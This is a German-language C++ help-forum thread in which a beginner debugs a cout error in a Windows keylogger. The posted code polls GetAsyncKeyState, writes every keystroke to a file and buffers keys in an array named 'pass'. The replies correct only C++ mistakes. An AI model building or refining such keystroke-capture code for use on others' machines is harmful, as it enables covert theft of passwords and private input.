cout will meinen string nicht ausgeben!



  • Wenn es nicht an dem k liegt - bring doch mal bitte die komplette Fehlermeldung (den relevanten Teil hast du ja freundlicherweise übergangen).



  • error C2679: Binaerer Operator '<<' : Kein Operator definiert, der einen rechtsseitigen Operator vom Typ 'const class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >' akzeptiert (oder keine geeignete Konvertierung moeglich)



  • wenn ich k weglasse kommt der selbe fehler!



  • burns9 schrieb:

    const std:string temp;

    Und das geht durch den Compiler? (abgesehen davon, daß dort ein : fehlt, macht es wenig Sinn, einen const string anzulegen, ohne ihn zu initialisieren.



  • Also, ich will die Tastananschläge mit protokollieren, das mach ich folgendermaßen:

    const std::string pass[9];
    pass[k] == TempString.c_str();

    undzwar, weil es mit string oder char oder sonst irgendwas nicht funktioniert.

    dann will ich den array string in die variable temp schreiben.



  • Und jetzt das ganze bitte auf Deutsch 😉

    (und am besten mit etwas mehr Code als diesen unzusammenhängenden Fragmenten)



  • Der compiler hat recht. Die stl definiert keinen operator<< für string.
    Dafür aber für const char*.
    Also:

    cout << temp.c_str() << ...
    


  • int main()
    {
    std::string Filename = "test.txt";
    std::string TempString = "";
    std::fstream FStream;
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

    int k = 0;
    const std::string pass[9];
    const std::string temp;

    while(true)
    {
    //Verhindert CPU Auslastung 5ms sleep
    Sleep(5);

    for(int i = 8; i < 191; i++)
    {
    if(GetAsyncKeyState(i)&1 ==1)
    {
    TempString = GetKey (i);

    FStream.write(TempString.c_str(), TempString.size());

    if(k < 9)
    {
    pass[k] == TempString.c_str();
    }
    else
    {
    int m = 0;
    for(int n = 0; n < 9; n++)
    {
    if(m < 9)
    {
    pass[n] == TempString.c_str();
    }
    else
    {
    m++;
    pass[n] == pass[m];
    }
    }
    }
    temp == temp + pass[k];
    cout << temp << k << endl;
    k++;

    FStream.close();
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
    }
    }
    }
    return 0;
    }

    der code is sicher nicht gut, aber besser kann ich's nicht, hab erst angefangen mit c++!



  • Ist dir klar, dass

    pass[n] == TempString.c_str();
    

    und

    pass[n] == pass[m]
    

    absolut nichts bewirkt? Das sind Vergleiche, deren Ergebnis du ignorierst.

    Wenn ich den Code um die fehlenden Includedirektiven ergänze, lässt er sich kompilieren. Zeig also bitte den ganzen Code, und bitte in [ cpp ]-Tags.



  • #include <windows.h> 
    #include <Winuser.h> 
    #include <string> 
    #include <fstream>
    #include <iostream.h>
    
    //Testet ob ein Key abgefragt wurde 
    
    std::string GetKey(int Key) 
    { 
        std::string KeyString = ""; 
    
        if (Key == VK_CONTROL) 
            KeyString = "[CTRL]";
    	else if (Key == VK_MENU) 
            KeyString = "[ALT]"; 
        //Char klein machen 
        else if (Key >=96 && Key <= 105) 
            KeyString = Key-48; 
        else if (Key > 47 && Key < 60) 
            KeyString = Key; 
        if (Key != VK_LBUTTON || Key != VK_RBUTTON) 
        { 
            if (Key > 64 && Key < 91) 
            { 
                if (GetKeyState(VK_CAPITAL)) 
                    KeyString = Key; 
                else 
                { 
                    Key = Key + 32; 
                    KeyString = Key; 
                } 
            } 
        } 
    
        return KeyString; 
    } 
    
    int main() 
    {	
        std::string Filename = "test.txt"; 
        std::string TempString = ""; 
        std::fstream FStream; 
        FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
    
    	int k = 0;
    	const std::string pass[9];
    	const std::string temp;
    
        while(true) 
        {
            //Verhindert CPU Auslastung 5ms sleep 
            Sleep(5); 
    
            for(int i = 8; i < 191; i++) 
            {
               if(GetAsyncKeyState(i)&1 ==1) 
               { 
                    TempString = GetKey (i);
    
                    FStream.write(TempString.c_str(), TempString.size());
    
    				if(k < 9)
    				{
    					pass[k] = TempString.c_str();
    				}
    				else
    				{
    					int m = 0;
    					for(int n = 0; n < 9; n++)
    					{
    						if(m < 9)
    						{
    							pass[n] = TempString.c_str();
    						}
    						else
    						{
    							m++;
    							pass[n] = pass[m];
    						}
    					}
    				}
    				temp == temp + pass[k];
    				cout << temp << k << endl;
    				k++;
    
                    FStream.close(); 
                    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
               } 
            }
        }
    	return 0;
    }
    


  • burns9 schrieb:

    der code is sicher nicht gut, aber besser kann ich's nicht, hab erst angefangen mit c++!

    Der Code ist (sorry) grauenhaft.

    1. const bedeutet, daß die Variable später NIE MEHR verändert werden kann - wenn du da nicht bei der Erzeugung etwas reinschreibst, hast du für IMMER einen leeren String (der nimmt nur Platz weg und ist zu nichts wirklich zu gebrauchen).

    2. == vergleicht zwei Werte (und das macht nur Sinn, wenn du das Ergebnis des Vergleiches weiterverwenden willst). Um etwas zuzuweisen, verwendet man ein einfaches =.

    3. string verwaltet schon eine Zeichenkette - das zur Unterbringung von Einzelzeichen zu verwenden ist Overkill (ein einzelnes Zeichen passt problemlos in ein char).

    (und das sind nur die Fehler, die mir beim ersten Durchsehen aufgefallen sind)

    @templäd: Klar gibt es IO-Operatoren für std::string.



  • <iostream> ohne .h, und std::cout.



  • TempString.c_str()

    funktioniert aber nur mit const (const char oder const string), alles andere funkt bei mir nicht.



  • burns9 schrieb:

    TempString.c_str()

    funktioniert aber nur mit const (const char oder const string)

    Unsinn.

    alles andere funkt bei mir nicht.

    "Funkt bei mir nicht" ist keine ausreichende Fehlerbeschreibung. Zeig den Code und die Fehlermeldung dazu.



  • also, ich hab den code jetzt ein bisschen verändert, funkt jetzt bis auf eine kleinigkeit: cout!!!!!

    #include <windows.h> 
    #include <Winuser.h> 
    #include <string> 
    #include <fstream>
    #include <iostream.h>
    
    //Testet ob ein Key abgefragt wurde 
    
    std::string GetKey(int Key) 
    { 
        std::string KeyString = ""; 
    
        if (Key == VK_CONTROL) 
            KeyString = "[CTRL]";
    	else if (Key == VK_MENU) 
            KeyString = "[ALT]"; 
        //Char klein machen 
        else if (Key >=96 && Key <= 105) 
            KeyString = Key-48; 
        else if (Key > 47 && Key < 60) 
            KeyString = Key; 
        if (Key != VK_LBUTTON || Key != VK_RBUTTON) 
        { 
            if (Key > 64 && Key < 91) 
            { 
                if (GetKeyState(VK_CAPITAL)) 
                    KeyString = Key; 
                else 
                { 
                    Key = Key + 32; 
                    KeyString = Key; 
                } 
            } 
        } 
    
        return KeyString; 
    } 
    
    int main() 
    {	
        std::string Filename = "test.txt"; 
        std::string TempString = ""; 
        std::fstream FStream; 
        FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
    
    	int k = 0;
    	const char* pass[9];
    	char temp[9];
    	using std::string;
    	string check;
    
        while(true) 
        {
            //Verhindert CPU Auslastung 5ms sleep 
            Sleep(5); 
    
            for(int i = 8; i < 191; i++) 
            {
               if(GetAsyncKeyState(i)&1 ==1) 
               { 
                    TempString = GetKey (i);
    
                    FStream.write(TempString.c_str(), TempString.size());
    
    				if(k < 9)
    				{
    					pass[k] = TempString.c_str();
    				}
    				else
    				{
    					int m = 0;
    					for(int n = 0; n < 9; n++)
    					{
    						if(m < 9)
    						{
    							pass[n] = TempString.c_str();
    						}
    						else
    						{
    							m++;
    							pass[n] = pass[m];
    						}
    					}
    				}
    				strcpy(temp,pass[k]);
    				check = check + temp;
    				cout << check << k << endl;
    				k++;
    
                    FStream.close(); 
                    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
               } 
            }
        }
    	return 0;
    }
    


  • burns9 schrieb:

    also, ich hab den code jetzt ein bisschen verändert, funkt jetzt bis auf eine kleinigkeit: cout!!!!!

    Würde mich sehr wundern, wenn dieser Code "funkt". Vermutlich meinst du, dass er sich kompilieren lässt, was aber nicht viel heißt.

    Was du wegen cout tun must, habe ich bereits geschrieben.



  • templäd schrieb:

    Der compiler hat recht. Die stl definiert keinen operator<< für string.
    Dafür aber für const char*.
    Also:

    cout << temp.c_str() << ...
    

    Schonmal

    string temp;
    cout << temp << ....
    

    ausprobiert ?

    Gruß,

    Simon2.


Anmelden zum Antworten